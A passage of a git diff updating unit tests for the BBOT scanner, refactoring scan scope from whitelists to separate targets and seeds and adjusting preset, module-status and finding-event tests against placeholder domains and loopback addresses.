str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert len(per_hostport_only) == 6 assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "accept_dupes.test.notreal" and str(e.module) == "accept_dupes"]) @@ -178,7 +178,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes"]) assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert len(per_domain_only) == 1 - assert 1 == len([e for e in per_domain_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in per_domain_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 83fc7b4b2d..8d41f5a1fa 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -122,6 +122,8 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) if scan_callback is not None: scan_callback(scan) output_events = [e async for e in scan.async_start()] + # let modules initialize + await asyncio.sleep(0.5) return ( output_events, dummy_module.events, @@ -275,7 +277,7 @@ async def filter_event(self, event): async def handle_event(self, event): await self.emit_event( - {"host": str(event.host), "description": "yep", "severity": "CRITICAL"}, "VULNERABILITY", parent=event + {"host": str(event.host), "description": "yep", "severity": "CRITICAL", "confidence": "CONFIRMED", "name": "Test Finding"}, "FINDING", parent=event ) def custom_setup(scan): @@ -295,21 +297,21 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) - assert 1 == len([e for e in events if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len([e for e in events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) assert len(all_events) == 8 assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in all_events if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len([e for e in all_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) assert len(all_events_nodups) == 6 assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in all_events_nodups if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len([e for e in all_events_nodups if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 7 @@ -317,7 +319,7 @@ def custom_setup(scan): assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in _graph_output_events if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len([e for e in _graph_output_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0 events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( @@ -568,8 +570,8 @@ def custom_setup(scan): # 2 events from a single HTTP_RESPONSE events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "127.0.0.111/31", - whitelist=["127.0.0.111/31", "127.0.0.222", "127.0.0.33"], + "127.0.0.111/31", "127.0.0.222", "127.0.0.33", + seeds=["127.0.0.111/31"], modules=["httpx"], output_modules=["python"], _config={ @@ -755,9 +757,9 @@ def custom_setup(scan): # sslcert with out-of-scope chain events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "127.0.0.0/31", + "127.0.1.0", + seeds=["127.0.0.0/31"], modules=["sslcert"], - whitelist=["127.0.1.0"], _config={"scope": {"search_distance": 1, "report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, _dns_mock={"www.bbottest.notreal": {"A": ["127.0.0.1"]}, "test.notreal": {"A": ["127.0.1.0"]}}, ) @@ -811,10 +813,10 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): # dns search distance = 1, report distance = 0 scan = bbot_scanner( - "http://127.0.0.1:8888", + "127.0.0.0/29", "test.notreal", + seeds=["http://127.0.0.1:8888"], modules=["httpx"], config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, - whitelist=["127.0.0.0/29", "test.notreal"], blacklist=["127.0.0.64/29"], ) await scan._prep() diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 3717f2d61f..480b83747f 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -243,7 +243,7 @@ class mod_domain_only(BaseModule): scan.modules["mod_host_only"] = mod_host_only(scan) scan.modules["mod_hostport_only"] = mod_hostport_only(scan) scan.modules["mod_domain_only"] = mod_domain_only(scan) - scan.status = "RUNNING" + await scan._set_status("RUNNING") url_1 = scan.make_event("http://evilcorp.com/1", event_type="URL", parent=scan.root_event, tags=["status-200"]) url_2 = scan.make_event("http://evilcorp.com/2", event_type="URL", parent=scan.root_event, tags=["status-200"]) @@ -311,7 +311,7 @@ async def test_modules_basic_perdomainonly(bbot_scanner, monkeypatch): await per_domain_scan._prep() await per_domain_scan.setup_modules() - per_domain_scan.status = "RUNNING" + await per_domain_scan._set_status("RUNNING") # ensure that multiple events to the same "host" (schema + host) are blocked and check the per host tracker @@ -380,7 +380,16 @@ async def handle_event(self, event): # quick emit events like FINDINGS behave differently than normal ones # hosts are not speculated from them await self.emit_event( - {"host": "www.evilcorp.com", "url": "http://www.evilcorp.com", "description": "asdf"}, "FINDING", event + { + "host": "www.evilcorp.com", + "url": "http://www.evilcorp.com", + "description": "asdf", + "name": "Finding", + "severity": "LOW", + "confidence": "MODERATE", + }, + "FINDING", + event, ) await self.emit_event("https://asdf.evilcorp.com", "URL", event, tags=["status-200"]) @@ -426,9 +435,9 @@ async def handle_event(self, event): "FINDING": 1, } - assert set(scan.stats.module_stats) == {"speculate", "host", "TARGET", "python", "dummy", "dnsresolve"} + assert set(scan.stats.module_stats) == {"speculate", "host", "SEED", "python", "dummy", "dnsresolve"} - target_stats = scan.stats.module_stats["TARGET"] + target_stats = scan.stats.module_stats["SEED"] assert target_stats.produced == {"SCAN": 1, "DNS_NAME": 1} assert target_stats.produced_total == 2 assert target_stats.consumed == {} @@ -480,7 +489,7 @@ async def test_module_loading(bbot_scanner): force_start=True, ) await scan2._prep() - scan2.status = "RUNNING" + await scan2._set_status("RUNNING") # attributes, descriptions, etc. for module_name, module in sorted(scan2.modules.items()): diff --git a/bbot/test/test_step_1/test_preset_seeds.py b/bbot/test/test_step_1/test_preset_seeds.py new file mode 100644 index 0000000000..07d74c2d9c --- /dev/null +++ b/bbot/test/test_step_1/test_preset_seeds.py @@ -0,0 +1,25 @@ +from bbot.scanner.preset import Preset + + +def test_preset_target_and_seeds_default(): + """ + If no explicit seeds are provided, seeds should be copied from target. + """ + preset = Preset("evilcorp.com") + baked = preset.bake() + + target = baked.target + assert set(target.target.inputs) == {"evilcorp.com"} + assert set(target.seeds.inputs) == {"evilcorp.com"} + + +def test_preset_target_and_seeds_explicit_seeds_override(): + """ + If explicit seeds are provided, they should NOT be copied from target. + """ + preset = Preset("evilcorp.com", seeds=["seedonly.evilcorp.com"]) + baked = preset.bake() + + target = baked.target + assert set(target.target.inputs) == {"evilcorp.com"} + assert set(target.seeds.inputs) == {"seedonly.evilcorp.com"} diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 6a37c55596..58ca39c664 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -71,9 +71,8 @@ async def test_preset_yaml(clean_default_config): import yaml preset1 = Preset( - "evilcorp.com", - "www.evilcorp.ce", - whitelist=["evilcorp.ce"], + "evilcorp.ce", + seeds=["evilcorp.com", "www.evilcorp.ce"], blacklist=["test.www.evilcorp.ce"], modules=["sslcert"], output_modules=["json"], @@ -86,18 +85,18 @@ async def test_preset_yaml(clean_default_config): silent=True, config={"preset_test_asdf": 1}, ) - preset1 = await preset1.bake() + preset1 = preset1.bake() assert "evilcorp.com" in preset1.target.seeds assert "evilcorp.ce" not in preset1.target.seeds assert "asdf.www.evilcorp.ce" in preset1.target.seeds - assert "evilcorp.ce" in preset1.whitelist - assert "asdf.evilcorp.ce" in preset1.whitelist + assert "evilcorp.ce" in preset1.target.target + assert "asdf.evilcorp.ce" in preset1.target.target assert "test.www.evilcorp.ce" in preset1.blacklist assert "asdf.test.www.evilcorp.ce" in preset1.blacklist assert "sslcert" in preset1.scan_modules - assert preset1.whitelisted("evilcorp.ce") - assert preset1.whitelisted("www.evilcorp.ce") - assert not preset1.whitelisted("evilcorp.com") + assert preset1.in_target("evilcorp.ce") + assert preset1.in_target("www.evilcorp.ce") + assert not preset1.in_target("evilcorp.com") assert preset1.blacklisted("test.www.evilcorp.ce") assert preset1.blacklisted("asdf.test.www.evilcorp.ce") assert not preset1.blacklisted("www.evilcorp.ce") @@ -176,29 +175,29 @@ async def test_preset_scope(clean_default_config): await scan._prep() assert {str(h) for h in scan.preset.target.seeds.hosts} == {"1.2.3.4/32", "evilcorp.com"} assert {e.data for e in scan.target.seeds} == {"1.2.3.4", "evilcorp.com"} - assert {e.data for e in scan.target.whitelist} == {"1.2.3.4/32", "evilcorp.com"} + assert {str(h) for h in scan.target.target.hosts} == {"1.2.3.4/32", "evilcorp.com"} blank_preset = Preset() - blank_preset = await blank_preset.bake() + blank_preset = blank_preset.bake() assert not blank_preset.target.seeds - assert not blank_preset.target.whitelist + assert not blank_preset.target.target assert blank_preset.strict_scope is False + # Positional args define target; seeds must be explicit preset1 = Preset( - "evilcorp.com", - "www.evilcorp.ce", - whitelist=["evilcorp.ce"], + "evilcorp.ce", + seeds=["evilcorp.com", "www.evilcorp.ce"], blacklist=["test.www.evilcorp.ce"], ) - preset1_baked = await preset1.bake() + preset1_baked = preset1.bake() # make sure target logic works as expected assert "evilcorp.com" in preset1_baked.target.seeds - assert "evilcorp.com" not in preset1_baked.target.whitelist + assert "evilcorp.com" not in preset1_baked.target.target assert "asdf.evilcorp.com" in preset1_baked.target.seeds - assert "asdf.evilcorp.com" not in preset1_baked.target.whitelist - assert "asdf.evilcorp.ce" in preset1_baked.whitelist - assert "evilcorp.ce" in preset1_baked.whitelist + assert "asdf.evilcorp.com" not in preset1_baked.target.target + assert "asdf.evilcorp.ce" in preset1_baked.target.target + assert "evilcorp.ce" in preset1_baked.target.target assert "test.www.evilcorp.ce" in preset1_baked.blacklist assert "evilcorp.ce" not in preset1_baked.blacklist assert preset1_baked.in_scope("www.evilcorp.ce") @@ -213,15 +212,15 @@ async def test_preset_scope(clean_default_config): # test preset merging preset3 = Preset( - "evilcorp.org", - whitelist=["evilcorp.de"], + "evilcorp.de", + seeds=["evilcorp.org"], blacklist=["test.www.evilcorp.de"], config={"scope": {"strict": True}}, ) preset1.merge(preset3) - preset1_baked = await preset1.bake() + preset1_baked = preset1.bake() # targets should be merged assert "evilcorp.com" in preset1_baked.target.seeds @@ -232,10 +231,10 @@ async def test_preset_scope(clean_default_config): assert "asdf.evilcorp.org" not in preset1_baked.target.seeds assert "asdf.evilcorp.com" not in preset1_baked.target.seeds assert "asdf.www.evilcorp.ce" not in preset1_baked.target.seeds - assert "evilcorp.ce" in preset1_baked.whitelist - assert "evilcorp.de" in preset1_baked.whitelist - assert "asdf.evilcorp.de" not in preset1_baked.whitelist - assert "asdf.evilcorp.ce" not in preset1_baked.whitelist + assert "evilcorp.ce" in preset1_baked.target.target + assert "evilcorp.de" in preset1_baked.target.target + assert "asdf.evilcorp.de" not in preset1_baked.target.target + assert "asdf.evilcorp.ce" not in preset1_baked.target.target # blacklist should be merged, strict scope does not apply assert "test.www.evilcorp.ce" in preset1_baked.blacklist assert "test.www.evilcorp.de" in preset1_baked.blacklist @@ -255,125 +254,150 @@ async def test_preset_scope(clean_default_config): preset1.merge(preset4) set(preset1.output_modules) == {"python", "csv", "txt", "json", "stdout", "neo4j"} - # test preset merging + whitelist + # test preset merging + seeds/target interaction - preset_nowhitelist = Preset("evilcorp.com", name="nowhitelist") - preset_whitelist = Preset( - "evilcorp.org", - name="whitelist", - whitelist=["1.2.3.4/24", "http://evilcorp.net"], + # Domain present as both explicit seed and targets + preset_domain_with_seed = Preset("evilcorp.com", seeds=["evilcorp.com"], name="domain_with_seed") + preset_with_target_scope = Preset( + "1.2.3.4/24", + "http://evilcorp.net", + name="with_target_scope", + seeds=["evilcorp.org"], blacklist=["evilcorp.co.uk:443", "bob@evilcorp.co.uk"], config={"modules": {"secretsdb": {"api_key": "deadbeef", "otherthing": "asdf"}}}, ) - preset_nowhitelist_baked = await preset_nowhitelist.bake() - preset_whitelist_baked = await preset_whitelist.bake() - - assert preset_nowhitelist_baked.to_dict(include_target=True) == { - "target": ["evilcorp.com"], + preset_domain_with_seed_baked = preset_domain_with_seed.bake() + preset_with_target_scope_baked = preset_with_target_scope.bake() + + # When seeds and targets are identical, only targets are serialized. + domain_with_seed_dict = preset_domain_with_seed_baked.to_dict(include_target=True) + assert domain_with_seed_dict.get("target") == ["evilcorp.com"] + assert "seeds" not in domain_with_seed_dict + + # preset with explicit target scope + scope_dict = preset_with_target_scope_baked.to_dict(include_target=True) + assert set(scope_dict["target"]) == {"1.2.3.0/24", "http://evilcorp.net/"} + assert set(scope_dict["blacklist"]) == {"bob@evilcorp.co.uk", "evilcorp.co.uk:443"} + # secretsdb config should be preserved (other module config may also be present) + assert scope_dict["config"]["modules"]["secretsdb"] == { + "api_key": "deadbeef", + "otherthing": "asdf", } - assert preset_whitelist_baked.to_dict(include_target=True) == { - "target": ["evilcorp.org"], - "whitelist": ["1.2.3.0/24", "http://evilcorp.net/"], - "blacklist": ["bob@evilcorp.co.uk", "evilcorp.co.uk:443"], - "config": {"modules": {"secretsdb": {"api_key": "deadbeef", "otherthing": "asdf"}}}, + + redacted_dict = preset_with_target_scope_baked.to_dict(include_target=True, redact_secrets=True) + assert set(redacted_dict["target"]) == {"1.2.3.0/24", "http://evilcorp.net/"} + assert set(redacted_dict["blacklist"]) == {"bob@evilcorp.co.uk", "evilcorp.co.uk:443"} + assert redacted_dict["config"]["modules"]["secretsdb"] == {"otherthing": "asdf"} + + assert preset_domain_with_seed_baked.in_scope("www.evilcorp.com") + assert not preset_domain_with_seed_baked.in_scope("www.evilcorp.de") + assert not preset_domain_with_seed_baked.in_scope("1.2.3.4/24") + + assert "www.evilcorp.org" in preset_with_target_scope_baked.target.seeds + assert "www.evilcorp.org" not in preset_with_target_scope_baked.target.target + assert "1.2.3.4" in preset_with_target_scope_baked.target.target + assert not preset_with_target_scope_baked.in_scope("www.evilcorp.org") + assert not preset_with_target_scope_baked.in_scope("www.evilcorp.de") + assert not preset_with_target_scope_baked.in_target("www.evilcorp.org") + assert not preset_with_target_scope_baked.in_target("www.evilcorp.de") + assert preset_with_target_scope_baked.in_scope("1.2.3.4") + assert preset_with_target_scope_baked.in_scope("1.2.3.4/28") + assert preset_with_target_scope_baked.in_scope("1.2.3.4/24") + assert preset_with_target_scope_baked.in_target("1.2.3.4") + assert preset_with_target_scope_baked.in_target("1.2.3.4/28") + assert preset_with_target_scope_baked.in_target("1.2.3.4/24") + + assert {e.data for e in preset_domain_with_seed_baked.seeds} == {"evilcorp.com"} + assert {e.data for e in preset_domain_with_seed_baked.target.target} == {"evilcorp.com"} + assert {e.data for e in preset_with_target_scope_baked.seeds} == {"evilcorp.org"} + assert {e.data for e in preset_with_target_scope_baked.target.target} == {"1.2.3.0/24", "http://evilcorp.net/"} + + # When merging a preset that has both seeds and target with one that only has + # target (no explicit seeds), explicit seeds are unioned and targets are unioned. + preset_domain_with_seed.merge(preset_with_target_scope) + preset_domain_with_seed_baked = preset_domain_with_seed.bake() + assert {e.data for e in preset_domain_with_seed_baked.seeds} == {"evilcorp.com", "evilcorp.org"} + # After merging, target scope should include both the original domain target and the scoped network/URL + assert {e.data for e in preset_domain_with_seed_baked.target.target} == { + "evilcorp.com", + "1.2.3.0/24", + "http://evilcorp.net/", } - assert preset_whitelist_baked.to_dict(include_target=True, redact_secrets=True) == { - "target": ["evilcorp.org"], - "whitelist": ["1.2.3.0/24", "http://evilcorp.net/"], - "blacklist": ["bob@evilcorp.co.uk", "evilcorp.co.uk:443"], - "config": {"modules": {"secretsdb": {"otherthing": "asdf"}}}, + assert "www.evilcorp.org" in preset_domain_with_seed_baked.seeds + assert "www.evilcorp.com" in preset_domain_with_seed_baked.seeds + assert "1.2.3.4" in preset_domain_with_seed_baked.target.target + assert not preset_domain_with_seed_baked.in_scope("www.evilcorp.org") + # After merging, evilcorp.com remains in target, so its www subdomain is in-scope and in-target + assert preset_domain_with_seed_baked.in_scope("www.evilcorp.com") + assert not preset_domain_with_seed_baked.in_target("www.evilcorp.org") + assert preset_domain_with_seed_baked.in_target("www.evilcorp.com") + assert preset_domain_with_seed_baked.in_scope("1.2.3.4") + + # When merging a preset that only defines targets (no explicit seeds), + # its targets are not promoted to seeds in the merged preset, but targets are unioned. + preset_targets_only = Preset("evilcorp.com") + preset_with_target_scope = Preset("1.2.3.4/24", seeds=["evilcorp.org"]) + preset_with_target_scope.merge(preset_targets_only) + preset_with_target_scope_baked = preset_with_target_scope.bake() + # Seeds stay as the explicit seeds from the base preset + assert {e.data for e in preset_with_target_scope_baked.seeds} == {"evilcorp.org"} + # Target scope is the union of both presets' targets. + assert {e.data for e in preset_with_target_scope_baked.target.target} == { + "evilcorp.com", + "1.2.3.0/24", } - - assert preset_nowhitelist_baked.in_scope("www.evilcorp.com") - assert not preset_nowhitelist_baked.in_scope("www.evilcorp.de") - assert not preset_nowhitelist_baked.in_scope("1.2.3.4/24") - - assert "www.evilcorp.org" in preset_whitelist_baked.target.seeds - assert "www.evilcorp.org" not in preset_whitelist_baked.target.whitelist - assert "1.2.3.4" in preset_whitelist_baked.whitelist - assert not preset_whitelist_baked.in_scope("www.evilcorp.org") - assert not preset_whitelist_baked.in_scope("www.evilcorp.de") - assert not preset_whitelist_baked.whitelisted("www.evilcorp.org") - assert not preset_whitelist_baked.whitelisted("www.evilcorp.de") - assert preset_whitelist_baked.in_scope("1.2.3.4") - assert preset_whitelist_baked.in_scope("1.2.3.4/28") - assert preset_whitelist_baked.in_scope("1.2.3.4/24") - assert preset_whitelist_baked.whitelisted("1.2.3.4") - assert preset_whitelist_baked.whitelisted("1.2.3.4/28") - assert preset_whitelist_baked.whitelisted("1.2.3.4/24") - - assert {e.data for e in preset_nowhitelist_baked.seeds} == {"evilcorp.com"} - assert {e.data for e in preset_nowhitelist_baked.whitelist} == {"evilcorp.com"} - assert {e.data for e in preset_whitelist_baked.seeds} == {"evilcorp.org"} - assert {e.data for e in preset_whitelist_baked.whitelist} == {"1.2.3.0/24", "http://evilcorp.net/"} - - preset_nowhitelist.merge(preset_whitelist) - preset_nowhitelist_baked = await preset_nowhitelist.bake() - assert {e.data for e in preset_nowhitelist_baked.seeds} == {"evilcorp.com", "evilcorp.org"} - assert {e.data for e in preset_nowhitelist_baked.whitelist} == {"1.2.3.0/24", "http://evilcorp.net/"} - assert "www.evilcorp.org" in preset_nowhitelist_baked.seeds - assert "www.evilcorp.com" in preset_nowhitelist_baked.seeds - assert "1.2.3.4" in preset_nowhitelist_baked.whitelist - assert not preset_nowhitelist_baked.in_scope("www.evilcorp.org") - assert not preset_nowhitelist_baked.in_scope("www.evilcorp.com") - assert not preset_nowhitelist_baked.whitelisted("www.evilcorp.org") - assert not preset_nowhitelist_baked.whitelisted("www.evilcorp.com") - assert preset_nowhitelist_baked.in_scope("1.2.3.4") - - preset_nowhitelist = Preset("evilcorp.com") - preset_whitelist = Preset("evilcorp.org", whitelist=["1.2.3.4/24"]) - preset_whitelist.merge(preset_nowhitelist) - preset_whitelist_baked = await preset_whitelist.bake() - assert {e.data for e in preset_whitelist_baked.seeds} == {"evilcorp.com", "evilcorp.org"} - assert {e.data for e in preset_whitelist_baked.whitelist} == {"1.2.3.0/24"} - assert "www.evilcorp.org" in preset_whitelist_baked.seeds - assert "www.evilcorp.com" in preset_whitelist_baked.seeds - assert "www.evilcorp.org" not in preset_whitelist_baked.target.whitelist - assert "www.evilcorp.com" not in preset_whitelist_baked.target.whitelist - assert "1.2.3.4" in preset_whitelist_baked.whitelist - assert not preset_whitelist_baked.in_scope("www.evilcorp.org") - assert not preset_whitelist_baked.in_scope("www.evilcorp.com") - assert not preset_whitelist_baked.whitelisted("www.evilcorp.org") - assert not preset_whitelist_baked.whitelisted("www.evilcorp.com") - assert preset_whitelist_baked.in_scope("1.2.3.4") - - preset_nowhitelist1 = Preset("evilcorp.com") - preset_nowhitelist2 = Preset("evilcorp.de") - preset_nowhitelist1_baked = await preset_nowhitelist1.bake() - preset_nowhitelist2_baked = await preset_nowhitelist2.bake() - assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com"} - assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.de"} - assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com"} - assert {e.data for e in preset_nowhitelist2_baked.whitelist} == {"evilcorp.de"} - preset_nowhitelist1.merge(preset_nowhitelist2) - preset_nowhitelist1_baked = await preset_nowhitelist1.bake() - assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com", "evilcorp.de"} - assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.de"} - assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com", "evilcorp.de"} - assert {e.data for e in preset_nowhitelist2_baked.whitelist} == {"evilcorp.de"} - assert "www.evilcorp.com" in preset_nowhitelist1_baked.seeds - assert "www.evilcorp.de" in preset_nowhitelist1_baked.seeds - assert "www.evilcorp.com" in preset_nowhitelist1_baked.target.seeds - assert "www.evilcorp.de" in preset_nowhitelist1_baked.target.seeds - assert "www.evilcorp.com" in preset_nowhitelist1_baked.whitelist - assert "www.evilcorp.de" in preset_nowhitelist1_baked.whitelist - assert preset_nowhitelist1_baked.whitelisted("www.evilcorp.com") - assert preset_nowhitelist1_baked.whitelisted("www.evilcorp.de") - assert not preset_nowhitelist1_baked.whitelisted("1.2.3.4") - assert preset_nowhitelist1_baked.in_scope("www.evilcorp.com") - assert preset_nowhitelist1_baked.in_scope("www.evilcorp.de") - assert not preset_nowhitelist1_baked.in_scope("1.2.3.4") - - preset_nowhitelist1 = Preset("evilcorp.com") - preset_nowhitelist2 = Preset("evilcorp.de") - preset_nowhitelist2.merge(preset_nowhitelist1) - preset_nowhitelist1_baked = await preset_nowhitelist1.bake() - preset_nowhitelist2_baked = await preset_nowhitelist2.bake() - assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com"} - assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.com", "evilcorp.de"} - assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com"} - assert {e.data for e in preset_nowhitelist2_baked.whitelist} == {"evilcorp.com", "evilcorp.de"} + # Seed expansion only applies to explicit seeds (evilcorp.org), not merged targets. + assert "www.evilcorp.org" in preset_with_target_scope_baked.seeds + assert "www.evilcorp.com" not in preset_with_target_scope_baked.seeds + # Target expansion only applies to targets (evilcorp.com), not seeds-only domains. + assert "www.evilcorp.org" not in preset_with_target_scope_baked.target.target + assert "www.evilcorp.com" in preset_with_target_scope_baked.target.target + # Scope/target checks reflect that only evilcorp.com is in the merged target. + assert not preset_with_target_scope_baked.in_scope("www.evilcorp.org") + assert preset_with_target_scope_baked.in_scope("www.evilcorp.com") + assert not preset_with_target_scope_baked.in_target("www.evilcorp.org") + assert preset_with_target_scope_baked.in_target("www.evilcorp.com") + assert preset_with_target_scope_baked.in_scope("1.2.3.4") + + # Merging two presets created only with positional targets: + # after bake, each has seeds backfilled from its own target, and merge unions both. + preset_targets_only1 = Preset("evilcorp.com") + preset_targets_only2 = Preset("evilcorp.de") + preset_targets_only1_baked = preset_targets_only1.bake() + preset_targets_only2_baked = preset_targets_only2.bake() + assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com"} + assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.de"} + assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com"} + assert {e.data for e in preset_targets_only2_baked.target.target} == {"evilcorp.de"} + preset_targets_only1.merge(preset_targets_only2) + preset_targets_only1_baked = preset_targets_only1.bake() + assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com", "evilcorp.de"} + assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.de"} + assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com", "evilcorp.de"} + assert {e.data for e in preset_targets_only2_baked.target.target} == {"evilcorp.de"} + assert "www.evilcorp.com" in preset_targets_only1_baked.seeds + assert "www.evilcorp.de" in preset_targets_only1_baked.seeds + assert "www.evilcorp.com" in preset_targets_only1_baked.target.seeds + assert "www.evilcorp.de" in preset_targets_only1_baked.target.seeds + assert "www.evilcorp.com" in preset_targets_only1_baked.target.target + assert "www.evilcorp.de" in preset_targets_only1_baked.target.target + assert preset_targets_only1_baked.in_target("www.evilcorp.com") + assert preset_targets_only1_baked.in_target("www.evilcorp.de") + assert not preset_targets_only1_baked.in_target("1.2.3.4") + assert preset_targets_only1_baked.in_scope("www.evilcorp.com") + assert preset_targets_only1_baked.in_scope("www.evilcorp.de") + assert not preset_targets_only1_baked.in_scope("1.2.3.4") + + preset_targets_only1 = Preset("evilcorp.com") + preset_targets_only2 = Preset("evilcorp.de") + preset_targets_only2.merge(preset_targets_only1) + preset_targets_only1_baked = preset_targets_only1.bake() + preset_targets_only2_baked = preset_targets_only2.bake() + assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com"} + assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.com", "evilcorp.de"} + assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com"} + assert {e.data for e in preset_targets_only2_baked.target.target} == {"evilcorp.com", "evilcorp.de"} @pytest.mark.asyncio @@ -407,12 +431,12 @@ async def test_preset_logging(): assert silent_and_verbose.silent is True assert silent_and_verbose.debug is False assert silent_and_verbose.verbose is True - baked = await silent_and_verbose.bake() + baked = silent_and_verbose.bake() assert baked.silent is True assert baked.debug is False assert baked.verbose is False assert baked.core.logger.log_level == original_log_level - baked = await silent_and_verbose.bake(scan=scan) + baked = silent_and_verbose.bake(scan=scan) assert baked.core.logger.log_level == logging.CRITICAL assert CORE.logger.log_level == logging.CRITICAL @@ -423,12 +447,12 @@ async def test_preset_logging(): assert silent_and_debug.silent is True assert silent_and_debug.debug is True assert silent_and_debug.verbose is False - baked = await silent_and_debug.bake() + baked = silent_and_debug.bake() assert baked.silent is True assert baked.debug is False assert baked.verbose is False 